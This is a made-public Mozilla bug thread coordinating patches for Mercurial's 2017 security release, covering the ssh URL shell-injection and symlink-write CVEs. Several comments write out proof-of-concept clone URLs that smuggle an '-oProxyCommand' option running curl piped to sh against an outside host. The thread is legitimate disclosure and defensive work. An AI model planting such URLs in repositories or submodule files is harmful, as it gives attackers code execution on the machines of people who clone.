1385978 - Upcoming security release of Mercurial

Status: RESOLVED FIXED

(Developer Services :: Mercurial: hg.mozilla.org, enhancement)

Description

[Gregory Szorc [:gps]]

Mercurial will be performing a security release to address multiple security issues.

Due to the nature of the issues, I think it is important we get hg.mozilla.org patched soon after it is released.

One of the security issues impacts Git and Subversion as well. It looks like there will be a coordinated release occurring.

Comment 1

[Amy Rich [:arr] [:arich]]

How severe is the risk, and what category of issue is it (RCE? local priv escalation, etc)? 

Do we know when this release will be made? 

Are we getting early patches to address this before the issue becomes public?

We also have internal git and svn servers, so I presume we'll need to patch those as well.

Comment 2

[Kendall Libby [:fubar] (he/him)]

14:06:15 [gps] hg will release a new 4.2. however, we're still running 4.1 on ssh. so i'm
          putting the patches together to upgrade so the security fix should be a drop-in
          replacement

the git rpm was hand made by me, so will likely do that again. svn... depends on the issue, tbh, as we already got extant issues there.

Comment 3

[Gregory Szorc [:gps]]

The bug impacting Git, Mercurial, and Subversion is RCE via SSH connections.

Per Mercurial's security process, we should be getting a patch a few days before public disclosure. But assuming we're running 4.2 everywhere, it only takes me a few minutes to bump to a new minor release. The problem is we're still running 4.1 on hgssh. I'm working on patches in bug 1385979.

The other issue is essentially a repo poisoning attack. Well-crafted repository data could result in attempts at arbitrary file writes. This is client-side. However, I /think/ we can mitigate via server-side hooks preventing the "bad" data.

Comment 4

[Jonathan Claudius [:claudijd] (use NEEDINFO)]

:gps - this feels a lot like bug 1353471 (I'm guessing incomplete fix?)

Comment 5

[Augie Fackler]

(In reply to Jonathan Claudius [:claudijd] (use NEEDINFO) from comment #4)
> :gps - this feels a lot like bug 1353471 (I'm guessing incomplete fix?)

No, it's a different layer. :/

Comment 6

[Gregory Szorc [:gps]]

Augie: would you mind sharing technical details? (This bug is only visible to select, trusted people at Mozilla. So sharing sensitive details should be acceptable.)

Comment 7

[Augie Fackler]

Not at all.

svn co 'svn+ssh://-oProxyCommand=curl%20test.durin42.com|sh/path'

or

hg clone 'ssh://-oProxyCommand=curl%20test.durin42.com|sh/path'

(or the equivalent in git)

The scary circumstance IMO is having an svn:externals or .hgsub (or presumably the git submodules version) that uses such a URL to own a machine.

Comment 8

[Jonathan Claudius [:claudijd] (use NEEDINFO)]

:augie - Thx for the share, interesting that the proxy commands like that would work like that.

:gps - Would like me to validate this against our HG instance(s) or this obvious enough to say we're directly affected?  Or would like any help with prod HG log review on determining whether we've been touched by this in the wild?

Also, generally speaking, willing to help with HG sec or HG-ssh patch review and look for edge cases.

Comment 9

[Gregory Szorc [:gps]]

Maybe I was wrong about the server-side vulnerability bit? If the URL parsing is occurring locally, then the RCE is client-side.

Or is there a way this can lead to arbitrary command execution on the remote end of an SSH connection?

Augie: what about the separate symlink issue?

Comment 10

[Jonathan Claudius [:claudijd] (use NEEDINFO)]

What prevents a valid user from doing something like this to get RCE server-side? (assuming the hg-ssh wrapper in use would allow it)

ssh <email>@<server> hg clone 'ssh://-oProxyCommand=curl%20test.durin42.com|sh/path'

Comment 11

[Gregory Szorc [:gps]]

So, there are two vulnerabilities:

1) RCE with specially crafted ssh:// URLs
2) Under certain conditions, symlinks in repos can result in writes outside the repository

A variation of #1 impacts Git, Mercurial, Subversion, and possibly other VCS software. #2 is Mercurial only.

Both vulns require a working directory / checkout (at least with Mercurial). If you do a "bare"/"no update" clone, there's no issue. So the threat model is specially crafted data is added to a repository and a vulnerable client does a normal clone/update.

The exposure for hg.mozilla.org servers should be small, as we don't perform checkouts on the server except in a few conditions (notably the version-control-tools repo).

We can add server-side hooks to prevent malicious data from being introduced into repos, thus preventing vulnerable clients from getting malicious changes from us and hg.mo being a vehicle for exploit. However, said content sniffing may be very expensive. Possibly prohibitively so.

Assuming we guarantee hg.mo's repos are clean, we can shield clients that only clone from there and don't necessarily need a fire drill to upgrade clients. However, many clone from !hg.mo and there's not much we can do except patch clients or firewall connections (the latter being unrealistic in many scenarios). We'll definitely want to update things like Servo VCS Sync, which interact with repos not hosted on hg.mo.

Comment 12

[Gregory Szorc [:gps]]

Last comment answers question directed at Augie.

Comment 13

[hwine]

House keeping: I've opened 2 new bugs for each of the other systems we need to address. This bug will remain focused on mercurial issues, especially hg.mozilla.org.

Based on the latest impact assessment (comment 11 - thanks, gps), our goal will be to deploy the patches to protect clients to hg.m.o prior to the public release of the vulnerability.

The other systems are covered as follows:
 - bug 1386038 for subversion system
 - bug 1386035 for git systems

Comment 14

[hwine]

:gps has point on the hg fixes

Comment 15

[Augie Fackler]

jclaudius, gps: Can I get BitBucket ids for you two so I can give you access to the repo we're using to coordinate the security patches for this?

Thanks!

Comment 16

[Jonathan Claudius [:claudijd] (use NEEDINFO)]

augie: 'claudijd' is my id for my newly minted BitBucket account

Comment 17

[Augie Fackler]

You now have access to https://bitbucket.org/seanfarley/mercurial-security

(Greg, you already had access)

Comment 18

[Gregory Szorc [:gps]]

I have access to the embargoed Mercurial patches that will become 4.2.3.

Comment 19

[hwine]

update: vulnerability will go public on Aug 10

Comment 20

[Gregory Szorc [:gps]]

Oh, disclosure date is August 10.

We're capable of deploying these changes at Mozilla before the disclosure date. We can make the binary packages non-public. However, since our infrastructure code is in public domain, people will see that we've deployed a custom Mercurial package. And since the files won't be accessible to the public, they can probably put 2+2 together. They'll likely figure out this is for a security release. But without access to the source or built packages, they shouldn't be able to figure out where the security issue is.

claudijd: how should I move forward?

Comment 21

[Jonathan Claudius [:claudijd] (use NEEDINFO)]

(In reply to Gregory Szorc [:gps] from comment #20)
> Oh, disclosure date is August 10.
> 
> We're capable of deploying these changes at Mozilla before the disclosure
> date. We can make the binary packages non-public. However, since our
> infrastructure code is in public domain, people will see that we've deployed
> a custom Mercurial package. And since the files won't be accessible to the
> public, they can probably put 2+2 together. They'll likely figure out this
> is for a security release. But without access to the source or built
> packages, they shouldn't be able to figure out where the security issue is.
> 
> claudijd: how should I move forward?

Yes, as long as they cannot access the source/packages/vcs changes, we should be ok with the custom deployment without the risk of leaking the bug and then roll over to the fixed release when it's available.

Comment 22

[Gregory Szorc [:gps]]

I filed bug 1388135 to track getting a custom build out. I'm intentionally not linking it to this bug.

Comment 23

[Gregory Szorc [:gps]]

Symlink issue: CVE-2017-1000115
Shell injection issue: CVE-2017-1000116

Also, the mission critical Mercurial infrastructure under my supervision is now running a patched 4.2.

I can't deploy an updated package for clients in Firefox CI because all that code is public domain and it is impossible to deploy a new client without leaking the Mercurial source code.

I'd still like to deploy some hooks on hg.mo to prevent the primitives that can be used to exploit these vulnerabilities.

Comment 24

[Gregory Szorc [:gps]]

Patches in bug 985087 to disable symlinks on non-user repos.

Patch in bug 1388559 to disable subrepositories on non-user repos.

Once those are deployed, hg.mozilla.org can't be used as a delivery vehicle for these vulns except via repos under hg.mozilla.org/users/ or repos we explicitly change the default behavior for. This /should/ protect Firefox CI. Although, I'd feel better if we actually enforced which repos tasks in CI could access. But that's for another day.

Comment 25

[Gregory Szorc [:gps]]

I've been told to expect embargoes to lift and packages to start dropping around 1100 PDT. That's ~50 minutes from now.

Comment 26

[Gregory Szorc [:gps]]

Mercurial announcement is out: https://www.mercurial-scm.org/pipermail/mercurial/2017-August/050522.html

Comment 27

[Gregory Szorc [:gps]]

claudijd: can we make this bug public? I think all the details inside are public domain now. About the only thing we'd leak are the bug numbers for the Git and Subversion bugs.

Comment 28

[Jonathan Claudius [:claudijd] (use NEEDINFO)]

:gps - No concerns here, making it public.

Comment 29

[Jonathan Claudius [:claudijd] (use NEEDINFO)]

:gps/:augie - mhoye just made me aware of this https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=873201, which he thinks may suggest the fixes for SSH are incomplete (and thus may have impact on SCM patching efforts) and wanted to pass this along ASAP.

Comment 30

[Jonathan Claudius [:claudijd] (use NEEDINFO)]

After taking a closer look, I'm not convinced this is directly related and not already prevented by existing patches in 4.3.1...

$ hg clone 'ssh://-oProxyCommand=curl%20test.durin42.com|sh/path'
abort: potentially unsafe url: 'ssh://-oProxyCommand=curl test.durin42.com|sh/path'

$ hg clone 'ssh://-- -oProxyCommand=curl%20test.durin42.com|sh/path'
abort: potentially unsafe url: 'ssh://-- -oProxyCommand=curl test.durin42.com|sh/path'

Clearing NI's.

Comment 31

[Gregory Szorc [:gps]]

There were two schools of thought for fixing this bug:

1) Use `--` in `ssh` arguments and all arguments after `--` would be "safe"
2) Validate URLs more strictly

#1 was rejected by Mercurial, Git, and potentially others because not all `ssh` clients support `--`. Putty is one such client. Since it isn't universally supported, `--` wasn't used and instead URIs were validated.

It is now coming out that even though `--` may be supported by an SSH client, the SSH client may still read arguments after `--`. Derp. Mercurial (and Git I believe) are not impacted by this new discovery because they didn't rely arguments after `--` being "safe."

Comment 32

[Jonathan Claudius [:claudijd] (use NEEDINFO)]

:gps - thanks for the validation and thoughts on that!

Comment 33

[Gregory Szorc [:gps]]

I don't think there's anything left to be done here.